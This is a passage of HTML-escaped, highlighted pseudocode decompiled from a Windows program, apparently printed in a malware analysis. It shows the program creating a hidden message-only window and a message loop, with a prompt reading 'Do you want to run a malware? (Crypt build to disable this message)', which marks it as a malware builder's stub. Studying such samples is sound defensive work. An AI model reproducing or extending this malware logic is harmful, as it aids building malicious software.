  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpfnWndProc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WNDPROC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WndProc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbClsExtra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbWndExtra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hIcon&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadIconA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7F00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadCursorA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7F00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hbrBackground&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HBRUSH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetStockObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpszMenuName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpszClassName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dword_48E02C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;RegisterClassW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sub_419808&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_405E50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v36&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_4069C0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_406B80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40F830&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBoxW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;Do you want to run a malware?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(Crypt build to disable this message)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;Warning&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x34u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetDesktopWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;GetWindowThreadProcessId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPDWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;calloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30008u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13565952&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;CreateWindowExW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0xCF0000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;HWND_MESSAGE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;TranslateMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DispatchMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
